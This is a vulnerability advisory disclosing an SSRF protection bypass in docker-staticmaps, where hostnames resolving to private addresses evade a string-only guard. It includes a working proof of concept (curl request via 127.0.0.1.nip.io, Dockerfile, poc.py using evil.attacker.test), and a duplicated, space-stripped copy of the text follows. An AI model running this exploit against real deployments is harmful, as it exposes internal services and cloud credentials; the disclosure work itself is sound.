SSRF Protection Bypass via DNS-Resolved Private Addresses in docker-staticmaps
Summary
docker-staticmaps accepts a user-controlled tileUrl (and marker img) parameter on its default, unauthenticated /api/staticmaps endpoint and fetches it server-side to render map tiles/markers. The SSRF guard (isPrivateUrl() in src/utils/security.ts) only string-matches the URL's hostname against literal IPv4/IPv6 addresses and a short deny-list (localhost, .local, .internal, …); it never performs a DNS lookup before the outbound fetch(). An attacker who controls a hostname that resolves to a private/loopback/link-local address (e.g. 127.0.0.1.nip.io, or any attacker-controlled DNS record pointed at an internal IP) can bypass the filter entirely and force the server to make GET requests to internal-only HTTP services, with the response content reflected back through the rendered map image. This is a full Server-Side Request Forgery (SSRF) protection bypass, reachable by default with no authentication when API_KEY is unset, and is rated High severity (CVSS 3.1: 7.2).
Details
The vulnerable data flow is:
src/routes/staticmaps.routes.ts:29 — router.get("/", asyncHandler(handleMapRequest)) (also POST) is mounted with no authentication middleware when API_KEY is unset (src/middlewares/authConfig.ts:31-32, src/middlewares/apiKeyAuth.ts:23-28).
src/controllers/staticmaps.controller.ts:50-53 — const params = req.method === "GET" ? req.query : req.body is passed unmodified to getMapParams(params).
src/generate/generateParams.ts:171 — getTileUrl(params.tileUrl, params.basemap) forwards the raw user-supplied tileUrl.
src/generate/parseTileConfig.ts:17-22:
const testUrl = replacePlaceholders(customUrl)
if (isPrivateUrl(testUrl)) {
logger.error(`Blocked private/internal tile URL: ${customUrl}`)
return { url: "", attribution: "" }
}
return { url: customUrl, attribution: "" }
If isPrivateUrl() returns false, the raw customUrl is returned as-is.
src/utils/security.ts:14-46 — isPrivateUrl() only inspects the URL's hostname as a string: it strips IPv6 brackets, checks for exact matches such as localhost, checks whether the hostname parses as a literal IPv4/IPv6 address (isPrivateIpv4), and checks suffixes like .local/.internal. A hostname such as 127.0.0.1.nip.io (a wildcard DNS service that resolves any A.B.C.D.nip.io subdomain to A.B.C.D) or an attacker-registered domain pointed at a private IP is none of these — the function falls through to return false at line 46, i.e. "not private," with no DNS resolution ever performed.
src/staticmaps/renderer.ts:125 queues the resulting tile URL.
src/staticmaps/tilemanager.ts:86 performs the actual server-side request: const res = await fetch(data.url, { redirect: "manual", ... }), then reads and forwards the response body/content-type (lines 102, 112).
A second, structurally identical sink exists for marker icons: src/generate/generateParams.ts:102-103 accepts a marker img URL, src/featureAdapters/addMarkers.ts:40-43 passes it to IconMarker, and src/staticmaps/renderer.ts:466-474 calls isSafeOutboundUrl(icon.file) (the same string-only check, exported from security.ts) before calling fetch(icon.file, ...).
Because the check operates purely on the literal hostname string and never resolves DNS, any of the following bypass it while still landing on a private IP at request time:
- Public wildcard-DNS-to-IP services (
127.0.0.1.nip.io, sslip.io, etc.)
- Attacker-registered domains with an
A/AAAA record pointing at 127.0.0.1, 169.254.169.254, RFC1918 ranges, etc.
- DNS rebinding (a domain that resolves to a public IP at validation time and a private IP at fetch time) — noted as a residual risk even after patching, since the fetch and the DNS check are not atomic.
The application's redirect: "manual" setting and content-type checks in tilemanager.ts reduce follow-on abuse (e.g. redirect-based bypass) but do nothing to prevent the initial DNS-resolution bypass.
PoC
Environment: docker-staticmaps v0.10.1 / main 002d6a836d5a0cfea1c2adcc454a093977c232c8, Node.js >= 20, default configuration (no API_KEY set).
Local reproduction (source build):
npm ci
npm run build
PORT=3000 node dist/server.cjs
Start an internal-only HTTP service bound to loopback, standing in for any internal service an operator might run alongside the container:
node -e "const http=require('http'); const png=Buffer.from('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+/p9sAAAAASUVORK5CYII=','base64'); http.createServer((req,res)=>{ console.log('INTERNAL_HIT '+req.method+' '+req.url); res.writeHead(200, {'Content-Type':'image/png','Content-Length':png.length}); res.end(png); }).listen(4567,'127.0.0.1'); setInterval(()=>{},1000);"
Trigger the SSRF via a DNS-resolvable hostname that points at the internal loopback service:
curl --globoff -sS -o /tmp/docker-staticmaps-ssrf.png \
-w 'status=%{http_code} content_type=%{content_type} size=%{size_download}\n' \
'http://127.0.0.1:3000/api/staticmaps?width=256&height=256¢er=0,0&zoom=1&attribution=false&tileUrl=http://127.0.0.1.nip.io:4567/{z}/{x}/{y}.png?v=2'
Expected/observed result:
status=200 content_type=image/png size=192
The internal-only server logs 4 hits (one per tile requested for the given zoom/center):
INTERNAL_HIT GET /1/0/0.png?v=2
INTERNAL_HIT GET /1/0/1.png?v=2
INTERNAL_HIT GET /1/1/0.png?v=2
INTERNAL_HIT GET /1/1/1.png?v=2
A negative control confirms the guard does fire for a literal loopback IP (tileUrl=http://127.0.0.1:4567/...), logging Blocked private/internal tile URL: ... and producing zero INTERNAL_HIT lines — demonstrating the bypass is specific to DNS-resolved hostnames, not a broken guard entirely.
Containerized reproduction: The same behavior was independently reproduced from an unmodified build of the repository (vuln-001/Dockerfile, vuln-001/poc.py in this report bundle), using docker run --add-host=evil.attacker.test:127.0.0.1 to simulate attacker-controlled DNS resolving evil.attacker.test to the loopback address of the internal-only service (never published to the host). poc.py performs three checks: (1) confirms the internal port is not reachable from the Docker host directly, (2) confirms a literal private IP in tileUrl is blocked (negative control), and (3) confirms the DNS-resolved hostname bypasses the filter, returning status=200, content-type=image/png, size=192, with 4 INTERNAL_HIT lines in the container log — reproduced deterministically across repeated runs with unique nonces, without any modification to application source.
Marker variant: The same bypass is reachable via a JSON POST body supplying a marker img URL that resolves to a private address, landing in src/staticmaps/renderer.ts:466-474.
Impact
This is a Server-Side Request Forgery (CWE-918) protection bypass. An unauthenticated remote attacker (default install, no API_KEY configured) can force the docker-staticmaps server to issue arbitrary GET requests to hosts on internal/loopback networks that are otherwise unreachable from outside the container/host, including:
- Cloud instance metadata services (e.g.
169.254.169.254) if similarly reachable via a resolvable hostname, potentially leaking credentials.
- Internal HTTP services, admin panels, or other containers on the same Docker network or private network segment.
- Any service whose response is
image/* content is reflected back to the attacker in the rendered map tile/marker; non-image responses still cause a side-effecting internal request even if not reflected (blind SSRF).
Anyone operating a default/keyless deployment of docker-staticmaps reachable from an untrusted network (including the public internet, given this is a public-facing map-tile rendering API) is impacted. Confidentiality and integrity impact are limited (scored Low/Low) since the response is constrained to image content passed through the rendering pipeline, but the scope change (S:C) and network/no-auth/no-interaction preconditions push the base score into the High range.
Reproduction artifacts
Dockerfile
# VULN-001 dynamic reproduction image for docker-staticmaps (CWE-918 SSRF).
#
# Build context MUST be the parent directory that contains both `repo/`
# (unmodified clone of dietrichmax/docker-staticmaps) and `vuln-001/`
# (this Dockerfile plus the internal-only test service used to observe the
# SSRF). The application source under `repo/` is copied as-is and is never
# patched to make the finding reproduce.
#
# Example:
# docker build -f vuln-001/Dockerfile -t docker-staticmaps-vuln001 .
# (run from .../github_web_1103_dietrichmax__docker-staticmaps)
# -------- Stage 1: Build --------
FROM node:20-alpine AS build
WORKDIR /opt/app
COPY repo/package*.json ./
RUN npm ci
COPY repo/. .
RUN npm run build
RUN npm prune --omit=dev && npm cache clean --force
# -------- Stage 2: Final --------
FROM node:20-alpine AS final
RUN apk add --no-cache fontconfig font-liberation
WORKDIR /opt/app
COPY --from=build /opt/app/dist ./dist
COPY --from=build /opt/app/public ./public
COPY --from=build /opt/app/package*.json ./
COPY --from=build /opt/app/node_modules ./node_modules
# Internal-only test service used purely to observe SSRF reachability.
# It is unmodified application logic's counterpart: a stand-in for any
# internal HTTP service an operator might run alongside docker-staticmaps.
COPY vuln-001/internal-server.cjs ./internal-server.cjs
COPY vuln-001/entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
RUN addgroup -S appgroup && adduser -S appuser -G appgroup && \
chown -R appuser:appgroup /opt/app
USER appuser
ENV NODE_ENV=production
# No API_KEY is set here on purpose: this reproduces the project's documented
# default (keyless) mode described in the analyzer report, not a weakened
# configuration invented for this test.
EXPOSE 3000
# NOTE: port 4567 (the internal-only service) is intentionally NOT exposed
# and must never be published with `-p` when running this image, so the
# PoC can prove it is unreachable directly from the Docker host.
HEALTHCHECK --interval=30s --timeout=5s --retries=3 --start-period=30s \
CMD wget --no-verbose --tries=1 -O - http://127.0.0.1:3000/health || exit 1
ENTRYPOINT ["/entrypoint.sh"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: SSRF protection bypass via DNS-resolved private addresses
in docker-staticmaps (CWE-918, src/utils/security.ts isPrivateUrl()).
isPrivateUrl() only string-matches the URL's hostname against literal IPs
and a short deny-list (localhost, .local, .internal, ...). It never resolves
the hostname before the server-side fetch() in tilemanager.ts. This script
proves that an attacker-controlled hostname which *resolves* to a private
address (here, via Docker's --add-host, simulating attacker-controlled DNS)
reaches an internal-only HTTP service that is never published to the host.
Usage:
python3 poc.py [--base-url http://127.0.0.1:3000]
[--container docker-staticmaps-vuln001]
[--attacker-host evil.attacker.test]
[--internal-port 4567]
Exit code 0 = SSRF reproduced with deterministic evidence.
Exit code 1 = not reproduced / inconclusive.
"""
import argparse
import json
import socket
import subprocess
import sys
import time
import urllib.request
import urllib.error
def http_get(url, timeout=15):
req = urllib.request.Request(url, method="GET")
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read()
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as e:
return e.code, dict(e.headers or {}), e.read()
def docker_logs(container):
result = subprocess.run(
["docker", "logs", container],
capture_output=True,
text=True,
timeout=15,
)
return result.stdout + result.stderr
def count_internal_hits(log_text):
return [line for line in log_text.splitlines() if "INTERNAL_HIT" in line]
def main():
ap = argparse.ArgumentParser(description=__doc__)
ap.add_argument("--base-url", default="http://127.0.0.1:3000")
ap.add_argument("--container", default="docker-staticmaps-vuln001")
ap.add_argument("--attacker-host", default="evil.attacker.test")
ap.add_argument("--internal-port", type=int, default=4567)
args = ap.parse_args()
# createCacheKeyFromRequest() in src/utils/cache.ts hashes the whole
# sorted query string and serves cached responses without re-fetching
# tiles. A nonce per run keeps each invocation of this PoC independent
# of any cache state left over by a previous run.
nonce = str(time.time_ns())
result = {
"step_1_internal_service_not_host_reachable": None,
"step_2_literal_ip_is_blocked": None,
"step_3_ssrf_via_dns_resolved_hostname": None,
"verdict": "FAIL",
}
# --- Step 1: confirm the internal-only service is NOT reachable from the
# Docker host directly (its port is never published with -p). This
# establishes that any hit we later observe in the container logs can
# only come from a server-side request made *inside* the container.
print("[*] Step 1: confirming internal-only service is not host-reachable")
try:
with socket.create_connection(("127.0.0.1", args.internal_port), timeout=2):
reachable = True
except OSError:
reachable = False
result["step_1_internal_service_not_host_reachable"] = not reachable
print(f" host->127.0.0.1:{args.internal_port} reachable = {reachable}")
if reachable:
print(" UNEXPECTED: internal port is reachable from host; environment is misconfigured")
# --- Step 2: negative control. A literal loopback IP in tileUrl must be
# blocked by isPrivateUrl() (this is the code path the app *does* defend).
print("[*] Step 2: negative control with literal private IP in tileUrl")
logs_before = docker_logs(args.container)
hits_before = len(count_internal_hits(logs_before))
literal_url = (
f"{args.base_url}/api/staticmaps"
f"?width=256&height=256¢er=0,0&zoom=1&attribution=false"
f"&tileUrl=http://127.0.0.1:{args.internal_port}/{{z}}/{{x}}/{{y}}.png"
f"&poc_nonce=control-{nonce}"
)
status, headers, body = http_get(literal_url)
print(f" status={status} content-type={headers.get('Content-Type')} size={len(body)}")
logs_after_control = docker_logs(args.container)
hits_after_control = len(count_internal_hits(logs_after_control))
control_hits = hits_after_control - hits_before
print(f" INTERNAL_HIT lines produced by literal-IP request: {control_hits}")
result["step_2_literal_ip_is_blocked"] = control_hits == 0
# --- Step 3: the exploit. attacker-controlled hostname that RESOLVES to
# 127.0.0.1 (via Docker --add-host, standing in for attacker-controlled
# DNS) is not string-matched by isPrivateUrl() and is fetched server-side.
print("[*] Step 3: SSRF via DNS-resolved hostname")
exploit_url = (
f"{args.base_url}/api/staticmaps"
f"?width=256&height=256¢er=0,0&zoom=1&attribution=false"
f"&tileUrl=http://{args.attacker_host}:{args.internal_port}/{{z}}/{{x}}/{{y}}.png?v={nonce}"
f"&poc_nonce=exploit-{nonce}"
)
status, headers, body = http_get(exploit_url)
content_type = headers.get("Content-Type")
print(f" status={status} content-type={content_type} size={len(body)}")
logs_after_exploit = docker_logs(args.container)
exploit_hit_lines = count_internal_hits(logs_after_exploit)[hits_after_control:]
print(f" INTERNAL_HIT lines produced by exploit request: {len(exploit_hit_lines)}")
for line in exploit_hit_lines:
print(f" {line}")
exploited = (
status == 200
and content_type is not None
and content_type.startswith("image/")
and len(exploit_hit_lines) > 0
)
result["step_3_ssrf_via_dns_resolved_hostname"] = exploited
if (
result["step_1_internal_service_not_host_reachable"]
and result["step_2_literal_ip_is_blocked"]
and result["step_3_ssrf_via_dns_resolved_hostname"]
):
result["verdict"] = "PASS"
print("\n[RESULT]")
print(json.dumps(result, indent=2))
sys.exit(0 if result["verdict"] == "PASS" else 1)
if __name__ == "__main__":
main()
SSRF Protection Bypass via DNS-Resolved Private Addresses in docker-staticmaps
Summary
docker-staticmapsaccepts a user-controlledtileUrl(and markerimg) parameter on its default, unauthenticated/api/staticmapsendpoint and fetches it server-side to render map tiles/markers. The SSRF guard (isPrivateUrl()insrc/utils/security.ts) only string-matches the URL's hostname against literal IPv4/IPv6 addresses and a short deny-list (localhost,.local,.internal, …); it never performs a DNS lookup before the outboundfetch(). An attacker who controls a hostname that resolves to a private/loopback/link-local address (e.g.127.0.0.1.nip.io, or any attacker-controlled DNS record pointed at an internal IP) can bypass the filter entirely and force the server to make GET requests to internal-only HTTP services, with the response content reflected back through the rendered map image. This is a full Server-Side Request Forgery (SSRF) protection bypass, reachable by default with no authentication whenAPI_KEYis unset, and is rated High severity (CVSS 3.1: 7.2).Details
The vulnerable data flow is:
src/routes/staticmaps.routes.ts:29—router.get("/", asyncHandler(handleMapRequest))(alsoPOST) is mounted with no authentication middleware whenAPI_KEYis unset (src/middlewares/authConfig.ts:31-32,src/middlewares/apiKeyAuth.ts:23-28).src/controllers/staticmaps.controller.ts:50-53—const params = req.method === "GET" ? req.query : req.bodyis passed unmodified togetMapParams(params).src/generate/generateParams.ts:171—getTileUrl(params.tileUrl, params.basemap)forwards the raw user-suppliedtileUrl.src/generate/parseTileConfig.ts:17-22:isPrivateUrl()returnsfalse, the rawcustomUrlis returned as-is.src/utils/security.ts:14-46—isPrivateUrl()only inspects the URL's hostname as a string: it strips IPv6 brackets, checks for exact matches such aslocalhost, checks whether the hostname parses as a literal IPv4/IPv6 address (isPrivateIpv4), and checks suffixes like.local/.internal. A hostname such as127.0.0.1.nip.io(a wildcard DNS service that resolves anyA.B.C.D.nip.iosubdomain toA.B.C.D) or an attacker-registered domain pointed at a private IP is none of these — the function falls through toreturn falseat line 46, i.e. "not private," with no DNS resolution ever performed.src/staticmaps/renderer.ts:125queues the resulting tile URL.src/staticmaps/tilemanager.ts:86performs the actual server-side request:const res = await fetch(data.url, { redirect: "manual", ... }), then reads and forwards the response body/content-type (lines 102, 112).A second, structurally identical sink exists for marker icons:
src/generate/generateParams.ts:102-103accepts a markerimgURL,src/featureAdapters/addMarkers.ts:40-43passes it toIconMarker, andsrc/staticmaps/renderer.ts:466-474callsisSafeOutboundUrl(icon.file)(the same string-only check, exported fromsecurity.ts) before callingfetch(icon.file, ...).Because the check operates purely on the literal hostname string and never resolves DNS, any of the following bypass it while still landing on a private IP at request time:
127.0.0.1.nip.io,sslip.io, etc.)A/AAAArecord pointing at127.0.0.1,169.254.169.254, RFC1918 ranges, etc.The application's
redirect: "manual"setting and content-type checks intilemanager.tsreduce follow-on abuse (e.g. redirect-based bypass) but do nothing to prevent the initial DNS-resolution bypass.PoC
Environment:
docker-staticmapsv0.10.1 / main002d6a836d5a0cfea1c2adcc454a093977c232c8, Node.js >= 20, default configuration (noAPI_KEYset).Local reproduction (source build):
Start an internal-only HTTP service bound to loopback, standing in for any internal service an operator might run alongside the container:
node -e "const http=require('http'); const png=Buffer.from('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+/p9sAAAAASUVORK5CYII=','base64'); http.createServer((req,res)=>{ console.log('INTERNAL_HIT '+req.method+' '+req.url); res.writeHead(200, {'Content-Type':'image/png','Content-Length':png.length}); res.end(png); }).listen(4567,'127.0.0.1'); setInterval(()=>{},1000);"Trigger the SSRF via a DNS-resolvable hostname that points at the internal loopback service:
Expected/observed result:
The internal-only server logs 4 hits (one per tile requested for the given zoom/center):
A negative control confirms the guard does fire for a literal loopback IP (
tileUrl=http://127.0.0.1:4567/...), loggingBlocked private/internal tile URL: ...and producing zeroINTERNAL_HITlines — demonstrating the bypass is specific to DNS-resolved hostnames, not a broken guard entirely.Containerized reproduction: The same behavior was independently reproduced from an unmodified build of the repository (
vuln-001/Dockerfile,vuln-001/poc.pyin this report bundle), usingdocker run --add-host=evil.attacker.test:127.0.0.1to simulate attacker-controlled DNS resolvingevil.attacker.testto the loopback address of the internal-only service (never published to the host).poc.pyperforms three checks: (1) confirms the internal port is not reachable from the Docker host directly, (2) confirms a literal private IP intileUrlis blocked (negative control), and (3) confirms the DNS-resolved hostname bypasses the filter, returningstatus=200,content-type=image/png,size=192, with 4INTERNAL_HITlines in the container log — reproduced deterministically across repeated runs with unique nonces, without any modification to application source.Marker variant: The same bypass is reachable via a JSON
POSTbody supplying a markerimgURL that resolves to a private address, landing insrc/staticmaps/renderer.ts:466-474.Impact
This is a Server-Side Request Forgery (CWE-918) protection bypass. An unauthenticated remote attacker (default install, no
API_KEYconfigured) can force thedocker-staticmapsserver to issue arbitrary GET requests to hosts on internal/loopback networks that are otherwise unreachable from outside the container/host, including:169.254.169.254) if similarly reachable via a resolvable hostname, potentially leaking credentials.image/*content is reflected back to the attacker in the rendered map tile/marker; non-image responses still cause a side-effecting internal request even if not reflected (blind SSRF).Anyone operating a default/keyless deployment of
docker-staticmapsreachable from an untrusted network (including the public internet, given this is a public-facing map-tile rendering API) is impacted. Confidentiality and integrity impact are limited (scored Low/Low) since the response is constrained to image content passed through the rendering pipeline, but the scope change (S:C) and network/no-auth/no-interaction preconditions push the base score into the High range.Reproduction artifacts
Dockerfilepoc.py